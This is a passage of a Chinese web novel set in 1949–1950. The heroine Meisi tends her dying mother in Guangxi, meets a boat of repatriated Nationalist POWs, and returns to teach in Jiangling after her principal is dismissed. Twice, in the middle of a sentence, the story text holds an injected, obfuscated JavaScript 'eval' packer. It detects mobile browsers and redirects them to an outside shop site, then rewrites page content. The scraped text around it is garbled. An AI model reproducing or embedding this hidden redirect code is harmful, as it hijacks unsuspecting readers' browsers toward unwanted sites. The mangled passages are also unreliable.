一直进了内院的门,才略微有了一点人气,迎面是嫂子傅传芳端了一个痰盂过来,显然正要去倾倒,一见梅思,她先是吃了一惊,马上便道:“妹妹,你总算回来了,快进去看看母亲,情形不是很好。” 梅思听了,心里一沉,向她点了点头,匆匆便往房里走去。 母亲的卧室,门窗紧闭,空气混浊,房间里倒是不很冷,炭盆里的火还算旺盛,然而在这样的温度之中,有一种让人昏昏然的缺氧,梅思迈过门槛,便看到母亲直挺挺地躺在床上,身上盖着被子,房间里一时并无其她人。 梅思再看母亲的脸上,蜡黄蜡黄,枯瘦得不行,显然是卧病已久,躺在那里呼吸不畅,喉头嘶嘶有痰音,忽然间便咳嗽了起来,梅思连忙赶到床边,为母亲轻轻拍抚着胸前。 就在这个时候,宁妈妈端了一碗药进来了,一见到梅思,失声惊叫了起来:“啊哟三小姐,你回来了!” 梅思连忙冲她使眼色,示意她小声,不要惊动了母亲。 然而卢兰玉却已经听到了,迷蒙之中勉强睁开眼睛,努力看着眼前的人影,见果然是自己日思夜想的小女儿,不由得眼泪流了出来:“幼蕊啊,真的是你么?妈没想到还能再看到你!” 梅思也不由得哭了起来:“妈,是我回来了。” 卢兰玉枯瘦的手伸了出来,颤颤巍巍抚摸着女儿的脸上:“你倒是没有怎样瘦,妈一直担心你,在外面过得怎么样?米价涨得厉害,我们自己家里是有田的,倒是不忧米面,你在那边,不知能不能吃饱饭。” 梅思哽咽道:“妈,我在江陵挺好的,那边鸭蛋很好,我给您带了一些回来。” 宁凤姐站在一旁,等她们母女两个又说了几句话,便将手里的碗递给梅思:“三小姐,喂太太吃药吧,你喂的药,只怕更灵一些。” 熬的黑乎乎的汤药汁,梅思一闻那种味道,就感觉反胃,果然,卢兰玉一喝药,便忍不住要呕吐,刚好傅传芳洗刷干净了痰盂送回来,便吐在了里面。 于是又是重新煎药,卢兰玉倒是说:“不用再忙了,我这个病,就是这十天半月,吃什么药都没有用了,倒是大家省些力气还好些。” 然而哪里能听她?宁凤姐便又去厨房煎药。 卢兰玉则是拉着梅思,两眼不住地细看,又强撑着问这问那,梅思怕她耗费精神,便让她尽量少说话,自己把这几年在江陵的经历,讲故事一般说了起来,荆州的古城墙啦,江陵镇安寺的铁牛啦,监利的汉寿祠啦,各处的风土人情,还有路途之中品尝的小吃,这简直是游玩名胜必不可少的一个项目,傅传芳在一旁笑着插口:“尤其是咱们中国人,到了某一处,若是不吃一点当地的什么,简直好像白去了一次。” 梅思微微地笑着:“是啊,总觉得情感是和肠胃联系在一起的,哪里有美味,便觉得哪里格外亲切。” 整整一天时间,梅思都守在母亲的床前,母亲睡着的时候,她便去看一下哥哥,哥哥的情形也愈发不好了,身体比从前更差,尤其让人担忧的,是他的精神愈发消沉颓废。 望着千里迢迢归来的妹妹,黄瑞成先是例行问了几句“在外面可安好?”便谈起了他对当今时事的看法:“虚空,彻底的虚空,换了政党,仍然是一样,你瞧着吧,不会有什么根本的变化,只不过换个样子而已。” 梅思默默地听着,等他仿佛说完了,一时间没有别的话讲,便安慰道:“哥哥,你这些天身体不太好,所以容易消极悲观,等过一阵你好一些,便能够开朗起来,人世间还是美好的。” 黄瑞成苦笑一声,摆了摆手:“妹妹,你到了这个时候,还说这样的菩萨话,我早已经看得明白,所谓新的希望,不过是海市蜃楼。咳咳咳……” 梅思望着窗玻璃,定定地出了一会儿神,终于又说道:“哥哥,你的这个病,多是从思虑上得来的,你一向就想得太多了,便耗空了身体,当初我在延安,有一位丁玲女士,她写了一篇文章,劝告说要注意自己的身体健康,不要生病,要让自己尽量愉快一些,哥哥少想一些事情,少一些忧愁烦恼,身体便可以强健起来。” 黄瑞成两眼定定地看着她,片刻之后笑道:“妹妹,你现在似乎是想明白了许多事情,比哥哥看得开,你说的这些,其实我也知道,只是做不到。” 这一天晚上吃过药后,卢兰玉沉沉睡去,梅思在床边看护着母亲,傅传芳劝她去休息:“你远路回来,一定累得很了,去睡吧,房间已经清扫了出来,只是如今不比从前了,家里没有几个人,就只有我和宁妈妈照应,打扫得潦草,可能没有清理得很干净,你将就睡吧。” 梅思摇头:“姐姐,我不累,这些天你辛苦了,如今我回来,你便歇歇吧,缓一缓心力。” 傅传芳道:“我倒是还好,既然你不肯去睡,那么我们两个便说说话吧。” 于是两个人就在卢兰玉的窗边低声闲谈,说的都是最近的家事,傅传芳说起自己的娘家:“已经跟到台湾去了,也不知解放军会不会打下台湾,倘若连台湾也保不住,要逃去哪里呢?美国么?那么远的地方,去得了么?” 又说到家事:“十月一号中共建国了,十月三号,老爷和三房就赶快走了,丢下太太在这里,也不管了,四姨太回了娘家,她就不走,哪能指望得上呢?幸好你回来了,否则我和宁妈妈两个人,真是难以支撑。还有,我听说这一阵要土改了,我们如今住的这屋子,都要分了给别人,‘耕者有其田,阶级平权’,这我也不说什么了,并不是非住好房子不可,只是太太如今正病着,贸贸然让她挪屋子,只怕不好,尤其天气又这样冷,纵然要搬房,且等她稍稍好一点再说,倘若真的到了那一天,你若是在解放军里面有熟人,便去说说情,求一求人家,让我们再住上一阵。” 梅思说不出话,当年的那些同学,如今在哪里呢?自己又该怎样去见她们呢? 梅思从这一天起,便在家中专心照料母亲的病,因为有她在,傅传芳肩头的重担减轻了一些,不再像之前那样,在婆婆与丈夫之间疲于奔命,然而对土改的担忧依然不减,中共是刚刚得了广西,一时还忙不到这件事,然而早晚是要做的,一想到要给人家赶到佣人住的下房,傅传芳心头便沉甸甸,只觉得乌云压顶一般。 况且未来的生活也要考虑,要让自己像农妇一样下田,傅传芳以为是十分痛苦的,以她的想法,顶好是也像小姑这样,在学校里当一名□□,那是适合自己的,然而也不知共产党的学校里能不能有自己的位置,从前小姑在国民政府的公教系统,便难谋职位,不过自己并不是国民党员,从前只不过在这旧式大家庭里当少奶奶,大概不属于很严重的“阶级敌人”之类吧? 果然,新年之后没过多久,广西省内就在说着土地改革,只是各处都是土匪,从前国民党的溃兵啦,原本的土匪啦,还有仇恨新政权的地主武装,纠集在一起,成为新的土匪,攻击人民政府,所以一时不能够安心土改。 卢兰玉在病床上,也在念着这事,时不时从沉睡中醒来,便要问:“我们的房子给人分了吗?” 梅思便赶忙答道:“妈,没有的事,您瞧,这还是您的正房,您还是在自己的屋子里住着呢。” 卢兰玉慢慢地点点头:“谢天谢地。” 然后又沉重地闭上了眼睛。 过了一阵,卢兰玉忽然仿佛从噩梦中惊醒一样,从枕头上猛然抬起头来,恐慌地说:“共产党来了吗?我的东西,都给拿走了吗?” 梅思连忙又安慰道:“妈,没什么人来,家里就是我们几个,安安静静的呢,您的那些东西,也都在呢。” 卢兰玉于是大大地松了一口气,一颗头又重新落回了枕上。 等卢兰玉又睡了过去,傅传芳将梅思拉到一旁,悄悄地说:“妈还在担心共产党呢,倘若不是瑞成出面拦着,老爷要把妈的私房都拿去呢,那可比共产党抄家还要狠。” 共产党还没来,黄老爷先来了,就在中共建国之后不多久,黄皓终于下定决心,不得不走了,哪怕要舍弃世代相传的田产,也说不得了,倘若继续留在这里,不要说田地房产,只怕连自己的命都要给收了去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14436279|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黄皓也知道,自己虽然没有人命在身,然而这些年来“民愤极大”,待人太刻薄了,专门乘人之危,便把别人的田地变成了自己的,而自己宅子里这左一个右一个姨太太,确实是有勒逼而来的,给家里抵债。 尤其是那个五姨太,小小年纪,居然那么有主意,一个月黑风高的夜晚,偷偷地跑掉了,天知道她是去了哪里,倘若是投到共产党那边,控诉自己逼迫她当姨太太,这可是个不小的罪名,自己是不太知道共产党的律条,几岁能结婚,不过老五进自己门的那一年,还只是十四岁,这还是按中guo岁算的,倘若按西洋的算法,不过十三岁,就说她的这个年纪,即使是中guo的道德观,也实在太小了一点,而自己又是如此的年纪,黄皓是听闻过乡人背地里议论这件事,道是自己作孽,硬生生坑害了一个年少的女孩子。 所以倘若老五到了共产党那里,控告说自己霸占了她,自己可是会怎么样呢?这个老五啊,自己当初可怜她,才收了她当五姨太,免得她饿死,哪知竟然是埋了个炸弹在身边,如今要爆炸开来了,就说老五这个脾气秉性,平时不言不语,居然如此有主意,真像自己的三丫头,那个孽障,都是天生反骨,三丫头是离了延安,这个老五又往中共那边去了。 黄皓越想心中越是不安,那是真能要命啊,虽然如今是号称不会流血土改了,可是等他们得了天下,天知道会怎么样呢?到那时是死是活,都是人家说了算,自己倘若一个苟且留下来,只怕前途难测,所以黄皓连续几个晚上睡不着觉,在三姨太的鼓动之下,终于决定了,要离开广西,到香港去。 只是这一去真的血肉模糊啊,自己的半条命都留在了这里,大半个身体给撕裂了,房屋田产啊,都带不走啊,黄皓当然是有金条银元,也有美钞,不过多数财产还是在土地上,如今这一走,损失惨重,所以揪心揪肺地痛,他想来想去,就把主意打到了大太太的头上,大户人家的小姐,有许多陪嫁,这些年虽然难免消磨,但手头应该还剩下不少,倘若能自己带了走,到了香港,心中便没有那么空虚了。 于是黄皓临走之前,便到了卢兰玉房中,逼迫她拿出私房妆奁,卢兰玉当然死命不肯,两个人就在这里撕扯,黄皓差一点便要动手打人,这时候是黄瑞成气喘吁吁地说:“父亲,你莫非真的要断了我们母子的性命么?难道大房竟然什么都不能留下?” 黄皓看着黄瑞成,终究有些犹豫,毕竟是自己的嫡子,还是感到不很能忍心,说出去也不好听,左思右想跺跺脚,骂了一声,“反正留下来也不过是便宜了共产党”,伸手抄了桌面上装首饰的匣子走了,没有再仔细去搜。 等他走了,卢兰玉气得差一点便死过去,傅传芳和宁凤姐好一阵按摩前胸后背,连连呼唤,这才缓了过来。 所以虽然担忧共产党的土改,不过在傅传芳心目中,黄老爷的那一次打上门来抢可是恐怖得很。 梅思连连皱眉,黄老爷实在是太无情了。 或许是因为终于看到了自己的小女儿,卢兰玉的生命仿佛给注入了一点点活力,精神有所振作,本来她自以为只能拖个十天半月,哪知却一直坚持到了三月下旬,终于到了尽头,弥留之际,她把其她人都支开了,拉着梅思的手,流着泪道:“幼蕊啊,都是娘没本事,让你们姐妹三个受了这么多委屈,特别是你,当年实在对不起你。” 从小就不能住在家里,仿佛不是这个家中的人。 梅思抚摸着母亲枯瘦的手,道:“妈,都已经是过去的事了,您还提它做什么?我也知道妈妈不容易,况且我现在也过得不错。” 卢兰玉点了点头,抬起另一只手指着床角:“那里,你把床板起开,下面有一个盒子,你拿出来。” 梅思按照母亲的话,搬开了一条床板,这是卢兰玉当年陪嫁的大木床,床底有暗格,卢兰玉这么多年没有让丈夫知道,有一些东西就藏在里面,此时移开床板,露出来一个金漆螺钿的盒子。 梅思捧着盒子,放在床头,卢兰玉颤颤抖抖将盒子打开来,登时一阵亮光晃人的眼睛,梅思闭了一下眼睛,再睁开来,只见那盒子里满满当当,是宝石翡翠的首饰,多数是镶黄金的,白银很少,这一盒首饰,着实贵重得很了。 卢兰玉道:“幼蕊啊,这是我最后的家当,当初冒险留在这里,好在没给日本人抄了去。你收藏好,今后若有为难之处,便靠它们度过去,母亲除了这些,再没别的给你了,如今天翻地覆,我也快不行了,今后全靠你自己了。” 梅思登时便哭了出来,真是心疼母亲这一片心啊。 49.第四十九章 战俘船 第四十九章 战俘船 四月上旬,梅思与傅传芳办完了母亲的丧事,在如今这样的局势之下,卢兰玉的葬礼很简单地完成了,过了头七之后,几个人就要分散了。 这一个晚上,梅思与傅传芳,哥哥瑞成,还有宁妈妈,团团围坐在母亲的房间,红木桌边,梅思抱着姪女宝凝,小姑娘今年六岁,一双乌溜溜的大眼睛,十分伶俐的样子,是嫂嫂与哥哥的宝贝,梅思刚刚回来的时候,宝凝与三姑姑很是生疏,毕竟从她出生就没有见过面,如今则是很亲近了。 梅思转着头环顾四周:“我明天就要走了,今后这个家,就都靠哥哥姐姐,还有宁妈妈。” 黄瑞成咳了两声,苦笑道:“我们也未必能待多久,看看眼前这个世界,哪里是我们的家呢?” 梅思默然,如今是中共的政权,许多事情自然与从前不一样,土改虽然还没有开始,然而谁都知道不久之后就要进行的了,到了那个时候,自家几个人自然不能再独占这样大的房产。 片刻之后,梅思便道:“哥哥,或者你与姐姐一起,带着宝凝去香港吧,那边毕竟还有熟悉的人。” 黄瑞成惨笑道:“妹妹啊,你看看我这身体,能支撑得住路上的颠簸么?只怕还没到香港,我就死在了路途中,况且在那边,有什么有力的人呢?大姐连香港都还觉得不够万全,二姐则是在台湾,不要说我本就不想去台湾,就算去了,她那边也是为难。若是咱们外公一家也过去香港,自然是好,可是他老人家决定不去啊!” 大姐菊霜,广西解放前随同丈夫去了南洋,二姐柏翠,前夫阵亡后再婚了,这个丈夫也是军官,前夫的同僚,一家人随国军撤退去了台湾。 而外公是本地出名的“开明绅士”,向来厌烦国民党,对黄皓这个女婿也并不满意,黄皓青年时代本来还好,手里放不下邹容的《革命军》,还读《民约论》、《万法精理》,所以他才答应这门婚事,哪知到了后来,竟然越来越糟了,卢老先生只能悔不当初,他对共产党是抱有希望的,因此留在平乐,不肯离去,准备融入新社会。 傅传芳叹息道:“如今也只能过一时算一时。” 梅思便再没有别的话讲,喝了几杯三花酒,梅思从口袋里摸出几件东西,放在桌面:“我就要回江陵去了,你们在家中,没有收入,今年的地租,未必能够收得到,母亲临终留给我们一些东西,你们收藏起来吧,以备不时之需。” 桌面上登时金光灿灿,珠光宝气,为这惨淡的场景添了一点明亮的色彩,房间中登时有片刻的安静。 黄瑞成很快摇头:“小妹,你快收回去,那是母亲给你的,我们怎么能拿?况且我们自己也不是没有东西的,能应付一阵。” 从小因为自己,让小妹离家,早就很过意不去,这些首饰,分明是母亲给小妹的体己,小妹孤身一人在外,手头没有几件值钱的物件,难免不安,而自己身边确实不是没钱,纵然再不得父亲的宠爱,毕竟是黄家的嫡子,黄老爷在钱财上没有很苛待他,当年成婚的时候,给了财物的,妻子傅传芳也是闺秀,陪嫁很是不少,虽然这些年颇有消耗,然而即使在如今,自己也是有家底的,相比之下,小妹则是单薄很多。 梅思劝了再三,最后说道:“便当做是祖母留给宝凝的,将来我们宝凝啊,要读很多的书,成很大的学问家。” 瑞成和传芳听她说出这样的话来,便不能再推辞,傅传芳替宝凝将首饰收了起来。 宁妈妈起先在一旁,一直不说话,见梅思又来劝她,便笑着说:“三小姐啊,如今不是新中国了吗?像我这样的人,总不会给人家说什么,总能有一碗饭吃,很不用担心我将来怎样过,况且我若是真的拿着这东西出去,人家看着也不像,还当是我偷的。” 宁凤姐贫苦出身,多年一直给人当帮佣,按照新社会的话语,是“彻底的无产阶级”,若有什么风波,不容易受冲击,更何况如今是穷人当家做了主人,难道她还吃不上饭? 梅思微微含笑:“宁妈妈,你收着吧,你照料我妈妈这么多年,又照顾哥哥和我,这是你应该得的,看着它,就能想到我妈妈,算是一个留念。我也想着这东西换钱不易,所以这里还有几块银元,你把它们收好,将来若是没事,自然是好,倘若有什么需要,便换些东西,便利些。” 宁凤姐听她提到老主人,不由得眼圈又红了,她从少女时代就跟着卢兰玉,从娘家到夫家,都守在身边,这么多年感情很深,如今老主人没了,小主人一个一个未来也不知会怎样,不由得让人伤感,于是手里摩挲着那只赤金嵌宝的手镯,哽咽了起来。 这一餐离别饭之后,便真的要分别了,第二天,梅思便去了桂林,先到车站买车票,是三日之后的火车,然而只到监利,因为去年那一场极大的洪水,许多桥梁冲断,列车不能再往前行驶,到这里便要坐船。 桂林城的三天,梅思找了一家小旅馆暂时住下,第二日便寻访旧时相知,先去找东妹,却发现白太太一家已经人去楼空,听人家说是去了香港,又去寻吴美霞,她倒是还住在原地方,进了门寒暄几句,吴美霞便拿出一封信来,交给梅思:“是东妹让我给你的,跟着主人家去香港了。” 梅思拆开信来一看,短短一封信,里面许多别字,东妹这几年跟着太太也学写字,只是识字不多,有时候会弄错,信里面说,她随着太太去香港了,太太待她很好,她实在舍不得离开,假如梅思将来也要去香港,务必去找她,太太一家暂时会住在刘公馆,就在尖沙咀。 读过之后,梅思很妥帖地把信收了起来,便问吴美霞:“美霞姐,这一向过得如何?” 吴美霞叹道:“看到中共就要来了,政府便遣散了职员,我先生便回来家中,这一阵都还没有事情做,只靠我这一份学校里的薪水,实在难养家。” 旁边哲清脆生生说道:“妈妈,不怕的,等我长大,便能赚钱了,到那时我们便要买这个,买那个,还要给表姨买衣料!” 吴美霞不由得便想要笑,然而看了看女儿那稚嫩的脸,又摇了摇头:“你不要想这些了,年纪小小的,把你的功课念好要紧。” 到今年九月才升入初中,等她赚钱还早哩。 梅思也笑,摸着哲清的头说:“清清真是有志气,要好好读书啊。” 仿佛看到了当年的自己,在母亲面前信誓旦旦,将来一定赚许多钱,让她享福,如今则是哲清这年轻的一代,立定这样的志向。 又过了两天,梅思乘上火车,离开了桂林,列车逐渐驶出站台,望着窗外不断远去的风景,梅思心头一阵发酸,自己这一去,不知何时才能再回来,也许要过许多年吧。 火车断断续续,终于到了监利,梅思在这里下了车,到江边找船,找到一个小舢板,约定了船资,是一袋马铃薯,船钱先付,那来商谈价钱的中年妇人十分欢喜,马上便要舢板上的几个孩子下来,站到江边,给客人让出地方,然后指着船上的男人,对梅思说:“让我男人撑船你过去,我家在江上讨了十几年生活,再稳当不过,多谢小姐这样大方,孩子们都饿了,我先煮洋芋给她们垫垫肚子。” 这一袋洋芋有十几颗,够一家人三两天的伙食。 梅思点了点头,便登上舢板,那面黄肌瘦的男人勉力撑起船,载她过江去。 半个多小时之后,梅思过了江,向那男子道谢,回想起方才看到的四五个孩子,便从背包里摸出三个鸡蛋,递给他道:“辛苦你,给孩子们吃吧。” 那船夫一看到鸡蛋,两眼放光,连连称谢:“多谢小姐,你人真好,将来定找个好丈夫,大富大贵的。” 梅思笑了笑,转身离去了。 这个时候已经是黄昏,不好再赶路,然而要投宿也为难,这一带没有什么旅馆,梅思只得彷徨地走在岸上,想着能不能万一找到一个借住的地方,这时候只见遥遥地驶来一支船队,是小火轮拖着木驳船,甲板上密密麻麻的人,梅思感觉好奇,便和其她人一起,到岸边去瞧热闹。 “是解放军的船!” “啊,解放军来了!看,他们上岸了,他们煮饭了,他们有饭吃啊,我们快去!” 于是许多人便都涌了过去,梅思想要看得仔细一些,便随着一起过去了。 到了船队停靠的地方,船上船下走来走去的一些人,果然是穿着解放军的黄军装,我的天,还是棉袄呢,四月里虽然不是很炎热,不过棉袄还是穿不住的了,他们怎么还没有换装? 另外再一看甲板上坐着的许多人,竟然是国军的服色,一个个垂头丧气,很是沉闷的样子。 这时候岸上的人已经嚷叫起来:“解放军同志,给我们一点饭吧!” 船上的人看到这种情形,便又搬了米下来,在陆地上煮饭给大家吃,许多人围着那煮饭的锣锅,你一句我一句地说: “去年好大的水啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446909|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “房子给冲垮了,只能住在船上啊。” “就等着开仓放粮啊!” 那两个煮饭的战士满怀同情地应答: “大概过不久就有救济了,解放战争刚结束,现在政府也困难,不过肯定会有粮食发过来的。” “老乡们受苦了,不用担心,有解放军在,一定会有办法的。” 过不多时,饭煮好了,灾民们排着队,拿着盆碗装饭,一个接着一个,十几分钟之后,梅思来到了锣锅前。 一个解放军战士站在锅前,手里拿着大饭勺,舀了满满一勺,头也不抬地举在那里,正等着往伸到面前的盆里装饭,却不见碗盆出现,只听到一个年轻女子的声音问:“同志,这船上的都是什么人?” 那个战士这才抬起头来,发现面前站了一个穿旗袍的女子,一看就是“资产阶级”的风貌,不是劳动阶级,他是贫农出身,本能地有点反感,不过在部队里受的教育,城市小资产阶级也是需要团结的对象,这个阶级本身并不是邪恶的,于是便耐着性子解释道:“都是国民党军的俘虏,遣送回原籍去的。” 梅思于是明白了,她点了点头,继续问道:“你们是从哪里来?” “重庆。唉我说,你究竟要不要吃饭?如果吃呢,就把碗给我,如果不吃呢,就让后面的人上来打饭。” 怎么称呼这个女人,是个问题,叫“老乡”是肯定不合适的了,看她的样子,也不适合叫“同志”的,最合适的是称作“小姐”,不过这种叫法有点太“剥削阶级”了,现在已经是新中国,不时兴这个了。 梅思说了一声“抱歉”,便退到了一边,让后边的人来装饭,自己则是站在岸边,望向船上,那甲板上的国军战俘也已经开始吃饭了,一个个闷声不吭,只看到筷子碰着碗的动作。 这个时候,似乎是发现了岸上的异样,一个干部模样的人从船头走了下来,笑着问梅思:“同志,你是要去哪里?” “江陵。” “哦,那么不很远了。是住在那边吗?” “我在那里当教yuan。” 旁边听到的人,面色都显出敬重。 “原来是这样。这一次是从故乡来吗?” “是的,母亲病故,我刚刚料理了那边的事情回来。” 对方脸上瞬间露出同情的神色:“生老病死是自然规律,活着的人还要保重自己啊。” 然后两个人便谈起了船上的战俘:“成都歼灭战之后,几十万呢,可得谨慎对待,团以上的军官都送进教导团了,思想改造,下面的愿意留在解放军,就补充进队伍,不愿意的,比如这些人,就送回老家生产劳动。这几年的大仗打下来,人民当然是胜利了,可是人力物力也消耗巨大,比如现在,这里发洪水,硬是抽调不出物资来救济,所以让这批人回乡务农,也是缓解一个大问题,大家不能光是打仗啊,也需要有人搞生产,不然吃什么呢?另外将来啊,这里的水利肯定也是要搞的,不能年年这样发洪水啊。” 梅思轻轻点头,当年在延安,同学们畅谈未来的新中国,就曾经说过:“要兴修水利,到处都是鱼米之乡,再没有洪水了,也没有旱灾,这里缺了水,就从那里调。” 当时只觉得仿佛有一张巨大的画布铺展开在眼前,大家手握着画笔,在上面纵情绘画,勾勒出一个美好的图景。 又说到这一路的辛苦:“船员是湖南人,菜烧得这个辣啊,实在受不了,只好吃自己带的榨菜。” 梅思笑了一笑:“你们南征北战,居然不能吃辣。” 自己吃辣倒是还行,广西本来就能吃辣的,到了湖北,也是吃辣,自己虽然不能吃得特别辣,但一般都能应付。 那个人似乎也觉得有点不好意思:“呵呵呵,以后会练出来的,‘不吃辣子不革命’嘛。” 他这一句话,让梅思瞬间想到了主席,主席酷嗜辣椒,在延安是出了名的了。 出神片刻之后,梅思又问:“在四川的国民党军里面,有没有广西人呢?” 那位干部一愣,这个自己还真的没有留意过,在四川与解放军作战的,除了当地军阀,其他多数是胡宗南的队伍,以河南、陕西人居多,至于是否有桂系的部队,自己之前没有注意。 “想来是有的吧。” 他只能这样说。 梅思的视线掠过驳船,投向开阔的水面,目光幽幽的,也不知在思量着什么。 50.第五十章 居然是你 第五十章 居然是你 梅思是在四月十四号回到江陵,当天在寄宿舍里,她就得知了一件事,校长庄令粲被免职了。 梅思登时大吃一惊:“呀,怎样一回事?” 朱光屏皱着眉和她讲:“说她与国民党关系匪浅,继续当校长不很合适。” 梅思很是诧异:“没有的呀,从前是有国民党的人登门,不过别的人也都有来啊!” 有一个人曾经来到学校,荆州解放后,梅思才知道,那个人是中共荆州地下政府的人,另外也有荆州的地方名流,现在叫做民主人士,来学校参观,庄令粲虽然说不上是长袖善舞,不过她对政府人员并不是特别热络,怎么能说她是偏向国民党呢? 朱光屏摇头叹道:“这些事我们都知道,不过没有用,新政府说她倾向国民党,不能再当校长,那么就不能当校长咯,新的校长已经来了呢,在这里办公一个多月了。” 梅思追问道:“庄校长现在做什么?” 张宏远道:“听说在给人家做衣服,她一手好缝纫。” 梅思蹙眉又问:“新校长怎么样?” 朱光屏一笑:“明天你去学校,就能够看到了,就是共产党人的那个样子。” 李秀第这时候说:“好了,梅思,先不要想这么多了,你好不容易回来,一路辛苦了,好好休息吧,也幸好你回来了,关校长说,倘若还要拖上一两个月,再回来便难安排呢。” 新的校长姓关。 她们几个人离开后,梅思简单打扫了一下房间,擦洗身体后便躺在床上,几天的行程,实在是疲倦,倘若依着梅思的心愿,是很想立刻就睡的,怎奈一时睡不着,脑子里想的满是庄令粲的去职,旁人虽然是颇感意外的,自己起初也是意想不到,然而到这时,梅思心情稍稍平静,便感到又不是那样难以想象,假如自己还是延安时代的黄菲,是很可以理解这个结果的,并不是说自己认为庄令粲不适合当校长,而是事情的这种发展并不很令人奇怪。 梅思此时想的是,如今庄校长还好吗?她从前是校长,虽然只是小学校的校长,但在本地毕竟有一定的名望,现在免职回到家里去,她是不是很失望呢?能够适应新生活吗? 然后梅思又想到自己,明天第一天复职,一定要见新校长的,她究竟是一个怎样的人?对自己会是如何的态度?要说从前庄校长在的时候,自己虽然并没有谋求特别对待,一向是与其她人同样努力,甚至对自身格外严格要求一点,但是有庄女士作校长,为了郑伯母的缘故,总能更安心一些,然而如今庄校长却已经不在了。 想到郑书娴,便不由得又想到钟坤,他如今是在哪里? 梅思在木板床上辗转反侧,一直到后半夜,这才终于入睡,第二天清早睁开眼睛,仍然还有倦意,然而却不能继续休息,今天第一天返回学校报到,一定不能迟到的,于是她爬起来赶快洗脸梳头,又匆匆吃了早点,便提了一只皮包,往学校赶去。 早上八点,关红英坐在办公室里,用搪瓷茶缸泡了一缸子茶水,轻轻抿了一口,转头环顾四周,校长办公室啊,环境真是不错,窗明几净,从前的主人姓庄,然而如今这里是自己的办公室了,革命胜利了,一切都要换个样子,现在的中国,是一个崭新的天地,几千年未有的呢,再以后,整个世界都要有一个新的面貌。 她正在心潮起伏,忽然听到有人敲门,关红英说了一声:“请进。” 门一开,走入一个二十五六岁的年轻女子,她来到校长办公桌前,婷婷地立在那里,说道:“关校长,我是梅思,今天复职来报到。” 关红英眨了两下眼睛,这才记起来,从自己接手校长的职位,便知道有一个□□梅思,请了长假回家去探望母亲,一直都没有回来,也不知是否还回来,如今全国虽然解放了,不过人员流动非常大,户口一时间不能够固定,要确切掌握每个人的行踪,便不很容易,自己前几天还在猜,这个人是不是就不来了。 于是关红英笑了:“原来你就是梅先生,请坐吧。梅先生,家里的事处理完了吗?” 梅思在她桌子前方的一张凳子上坐下来,礼貌地说:“谢谢校长,家母前不久过世,已经安葬了。” 关红英的笑容收敛起来,表示出郑重的同情:“请节哀顺变吧。” 然后两个人便谈起梅思的复职:“今天可以开课吗?” “是的,现在就想去看看学生。” “好的。学校很需要你,事实上,现在各处都缺□□。” 国民党败退台湾,带走的不仅仅是美钞黄金、故宫文物,还有一批知识分子,都随着老蒋跑去了台湾,相当多的知识分子对于共产党并不信任,虽然未必个个都是高级别的专家,但普通知识分子也是宝贵的,是中国基本的知识群体,所以留在大陆的文化人,就格外给党看重,她们关系到新□□的建设。 梅思点了点头,与关红英又说了几句话,便站起身来走出校长室,去了教员室。 老同事相见,自然格外热情,一群□□之中也有两三个新面孔,中途去厕所的时候,刘慧坚悄悄地告诉她:“是从部队上调来的,都打过仗呢。” 当天的工作结束,梅思回到寄宿舍,傍晚,几个人都坐在树荫下纳凉,褚爱莲笑着问她:“对新任校长感觉如何?” 梅思想了一想:“果然是一个很标准的共产党人。” 新校长关红英三十几岁年纪,中等身材,一头短发,面色红润,事实上梅思当时看到她,第一个想到的是段葵芳,身体非常健壮。 然后她才想到,不好和段葵芳相比的,如果真的要比较,倒是有一点好像丁玲女士,都是皮肤有些粗糙,讲起话来声音很洪亮,能做很豪放的手势这还只是在外表上,更为重要的是,她们在精神气质方面的类似,是延安标志性的昂然奋发,积极进取,她们的灵魂仿佛是为明亮纯白的日光所充满,不会有丝毫黑点与暗影,是纯粹的光明。 褚爱莲乐着点头:“我听宏远说起,也是这样的印象,要说这一向,在江陵看共产党的干部也看了几个,就觉得真不愧是从同一个大熔炉里锤炼出来,一个合格的共产党人,就好像是探春、湘云和宝钗的混合体,不过她们的精神倒真的是激越,不见有消极颓废的,这一点还真得佩服共产党。” 梅思几乎是瞬间便理解了褚爱莲的意思,红楼梦中几个出色的女子,探春精明,湘云豁达,宝钗“政治思想正统”,褚爱莲唯独没有举出黛玉,黛玉的那种性情,在延安是难有容身之处的。 这时朱光屏问道:“梅思,你明天要去看庄校长吗?” 梅思点了点头:“是要去探望一下她的。” 张宏远叹道:“你是个有情意的,我本来也想去,只是觉得毕竟不太方便。” 有亲国民党的嫌疑啊,庄令粲校长,现在已经是共产党的天下,尤其是刚刚建国,还摸不准中共的禀性,所以让人不敢轻举妄动,所以虽然与庄校长共事多年,但这种时候实在不太敢去看,总觉得还是先保持距离比较好,然而梅思就敢去,从这一点来看,梅思这个看似文弱的女子,实在比自己一个男子要勇敢。 第二天四月十六号,礼拜天,梅思提了一袋水果,去了庄令粲的家中。 庄令粲打开门来,一见是她,很是意外:“啊呀,你回来了?” 梅思一眼便看到她身上系了一条围裙,围裙上沾着线头,明显昭示着如今的职业,登时便心中一酸,哽咽道:“庄校长,你受委屈了。” 庄令粲倒是不很介意,笑道:“这也没什么,倒是你终于回来了,让我放下一颗心,快进来坐。” 进了庄令粲的家,只见桌面上摆着几块布料,都裁剪了出来,还放着尺子、滑石笔,墙边书柜里摆着书,与这样一个裁缝场景很有一点不相配,庄校长从前身在教育界,如今成了裁缝了,虽然劳动者都是平等的,然而看到今昔对比,仍然让人感觉难过。 “校长,我没想到会是这个样子。” 